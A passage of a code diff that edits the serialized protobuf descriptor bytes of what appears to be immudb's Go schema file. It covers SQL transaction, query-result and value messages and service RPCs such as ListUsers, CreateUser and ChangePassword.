0x20, + 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, 0x73, + 0x12, 0x5c, 0x0a, 0x0f, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, + 0x50, 0x4b, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x32, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, + 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, + 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0f, 0x6c, + 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x12, 0x5f, + 0x0a, 0x10, 0x66, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, + 0x4b, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, + 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x46, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, + 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x10, 0x66, + 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x1a, + 0x5b, 0x0a, 0x14, 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, + 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, + 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x5c, 0x0a, 0x15, + 0x46, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, + 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x5e, 0x0a, 0x0d, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, - 0x63, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 0x2f, 0x0a, 0x03, 0x74, 0x78, 0x73, 0x18, 0x05, - 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, - 0x4c, 0x54, 0x78, 0x52, 0x03, 0x74, 0x78, 0x73, 0x12, 0x1c, 0x0a, 0x09, 0x6f, 0x6e, 0x67, 0x6f, - 0x69, 0x6e, 0x67, 0x54, 0x78, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x6f, 0x6e, 0x67, - 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x22, 0xdd, 0x03, 0x0a, 0x0e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, - 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x12, 0x2f, 0x0a, 0x06, 0x68, 0x65, 0x61, - 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, - 0x65, 0x72, 0x52, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x20, 0x0a, 0x0b, 0x75, 0x70, - 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, - 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, 0x73, 0x12, 0x5c, 0x0a, 0x0f, - 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x18, - 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x32, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, - 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, - 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0f, 0x6c, 0x61, 0x73, 0x74, 0x49, - 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x12, 0x5f, 0x0a, 0x10, 0x66, 0x69, - 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x18, 0x04, - 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, - 0x4c, 0x54, 0x78, 0x2e, 0x46, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, - 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x10, 0x66, 0x69, 0x72, 0x73, 0x74, - 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x1a, 0x5b, 0x0a, 0x14, 0x4c, - 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, - 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, - 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x5c, 0x0a, 0x15, 0x46, 0x69, 0x72, 0x73, - 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, - 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, - 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, - 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x69, 0x0a, 0x0e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, - 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 0x2f, 0x0a, 0x07, 0x63, 0x6f, 0x6c, 0x75, - 0x6d, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, - 0x52, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x26, 0x0a, 0x04, 0x72, 0x6f, 0x77, - 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x6f, 0x77, 0x52, 0x04, 0x72, 0x6f, 0x77, - 0x73, 0x22, 0x30, 0x0a, 0x06, 0x43, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, - 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, - 0x12, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x74, - 0x79, 0x70, 0x65, 0x22, 0x50, 0x0a, 0x03, 0x52, 0x6f, 0x77, 0x12, 0x18, 0x0a, 0x07, 0x63, 0x6f, - 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, 0x07, 0x63, 0x6f, 0x6c, - 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x2f, 0x0a, 0x06, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x18, 0x02, - 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x06, 0x76, - 0x61, 0x6c, 0x75, 0x65, 0x73, 0x22, 0x99, 0x01, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, - 0x75, 0x65, 0x12, 0x30, 0x0a, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, - 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, - 0x75, 0x66, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x48, 0x00, 0x52, 0x04, - 0x6e, 0x75, 0x6c, 0x6c, 0x12, 0x0e, 0x0a, 0x01, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x48, - 0x00, 0x52, 0x01, 0x6e, 0x12, 0x0e, 0x0a, 0x01, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x48, - 0x00, 0x52, 0x01, 0x73, 0x12, 0x0e, 0x0a, 0x01, 0x62, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x48, - 0x00, 0x52, 0x01, 0x62, 0x12, 0x10, 0x0a, 0x02, 0x62, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, - 0x48, 0x00, 0x52, 0x02, 0x62, 0x73, 0x12, 0x10, 0x0a, 0x02, 0x74, 0x73, 0x18, 0x06, 0x20, 0x01, - 0x28, 0x03, 0x48, 0x00, 0x52, 0x02, 0x74, 0x73, 0x42, 0x07, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x22, 0xed, 0x01, 0x0a, 0x0c, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x12, 0x29, 0x0a, 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, - 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x52, 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x12, 0x57, 0x0a, - 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x4d, 0x75, 0x73, 0x74, 0x49, 0x6e, 0x63, - 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, - 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x36, 0x34, 0x52, 0x17, 0x73, - 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x4d, 0x75, 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, - 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x12, 0x59, 0x0a, 0x15, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, - 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, 0x6c, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, - 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x15, 0x73, 0x6e, 0x61, 0x70, - 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, 0x6c, 0x50, 0x65, 0x72, 0x69, 0x6f, - 0x64, 0x22, 0x35, 0x0a, 0x0d, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, - 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22, 0x35, 0x0a, 0x09, 0x45, 0x72, 0x72, 0x6f, - 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x63, 0x61, 0x75, - 0x73, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x63, 0x61, 0x75, 0x73, 0x65, 0x22, - 0x21, 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x14, 0x0a, 0x05, - 0x73, 0x74, 0x61, 0x63, 0x6b, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x73, 0x74, 0x61, - 0x63, 0x6b, 0x22, 0x2c, 0x0a, 0x09, 0x52, 0x65, 0x74, 0x72, 0x79, 0x49, 0x6e, 0x66, 0x6f, 0x12, - 0x1f, 0x0a, 0x0b, 0x72, 0x65, 0x74, 0x72, 0x79, 0x5f, 0x64, 0x65, 0x6c, 0x61, 0x79, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x72, 0x65, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x61, 0x79, - 0x22, 0x5f, 0x0a, 0x17, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, - 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, - 0x52, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, - 0x64, 0x22, 0x36, 0x0a, 0x18, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, - 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, - 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x2a, 0x4b, 0x0a, 0x0f, 0x45, 0x6e, 0x74, - 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x0b, 0x0a, 0x07, - 0x45, 0x58, 0x43, 0x4c, 0x55, 0x44, 0x45, 0x10, 0x00, 0x12, 0x0f, 0x0a, 0x0b, 0x4f, 0x4e, 0x4c, - 0x59, 0x5f, 0x44, 0x49, 0x47, 0x45, 0x53, 0x54, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x41, - 0x57, 0x5f, 0x56, 0x41, 0x4c, 0x55, 0x45, 0x10, 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x52, 0x45, 0x53, - 0x4f, 0x4c, 0x56, 0x45, 0x10, 0x03, 0x2a, 0x29, 0x0a, 0x10, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, - 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x09, 0x0a, 0x05, 0x47, 0x52, - 0x41, 0x4e, 0x54, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x52, 0x45, 0x56, 0x4f, 0x4b, 0x45, 0x10, - 0x01, 0x2a, 0x34, 0x0a, 0x06, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x0c, 0x0a, 0x08, 0x52, - 0x65, 0x61, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x57, 0x72, 0x69, - 0x74, 0x65, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x65, 0x61, 0x64, - 0x57, 0x72, 0x69, 0x74, 0x65, 0x10, 0x02, 0x32, 0xe8, 0x33, 0x0a, 0x0b, 0x49, 0x6d, 0x6d, 0x75, - 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x50, 0x0a, 0x09, 0x4c, 0x69, 0x73, 0x74, 0x55, - 0x73, 0x65, 0x72, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, - 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x17, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x73, 0x65, - 0x72, 0x4c, 0x69, 0x73, 0x74, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x12, 0x0a, 0x2f, - 0x75, 0x73, 0x65, 0x72, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x58, 0x0a, 0x0a, 0x43, 0x72, 0x65, - 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, - 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, - 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, - 0x79, 0x22, 0x10, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0a, 0x22, 0x05, 0x2f, 0x75, 0x73, 0x65, 0x72, - 0x3a, 0x01, 0x2a, 0x12, 0x70, 0x0a, 0x0e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, - 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, - 0x77, 0x6f, 0x72, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, - 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, - 0x70, 0x74, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x22, 0x15, 0x2f, 0x75, 0x73, - 0x65, 0x72, 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x2f, 0x63, 0x68, 0x61, 0x6e, - 0x67, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x75, 0x0a, 0x10, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, - 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x69, 0x0a, 0x0e, 0x53, 0x51, + 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 0x2f, 0x0a, 0x07, + 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x15, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, + 0x6c, 0x75, 0x6d, 0x6e, 0x52, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x26, 0x0a, + 0x04, 0x72, 0x6f, 0x77, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x6f, 0x77, 0x52, + 0x04, 0x72, 0x6f, 0x77, 0x73, 0x22, 0x30, 0x0a, 0x06, 0x43, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x12, + 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, + 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x22, 0x50, 0x0a, 0x03, 0x52, 0x6f, 0x77, 0x12, 0x18, + 0x0a, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, + 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x2f, 0x0a, 0x06, 0x76, 0x61, 0x6c, 0x75, + 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, + 0x65, 0x52, 0x06, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x22, 0x99, 0x01, 0x0a, 0x08, 0x53, 0x51, + 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x30, 0x0a, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, + 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, + 0x48, 0x00, 0x52, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x12, 0x0e, 0x0a, 0x01, 0x6e, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x01, 0x6e, 0x12, 0x0e, 0x0a, 0x01, 0x73, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x09, 0x48, 0x00, 0x52, 0x01, 0x73, 0x12, 0x0e, 0x0a, 0x01, 0x62, 0x18, 0x04, 0x20, + 0x01, 0x28, 0x08, 0x48, 0x00, 0x52, 0x01, 0x62, 0x12, 0x10, 0x0a, 0x02, 0x62, 0x73, 0x18, 0x05, + 0x20, 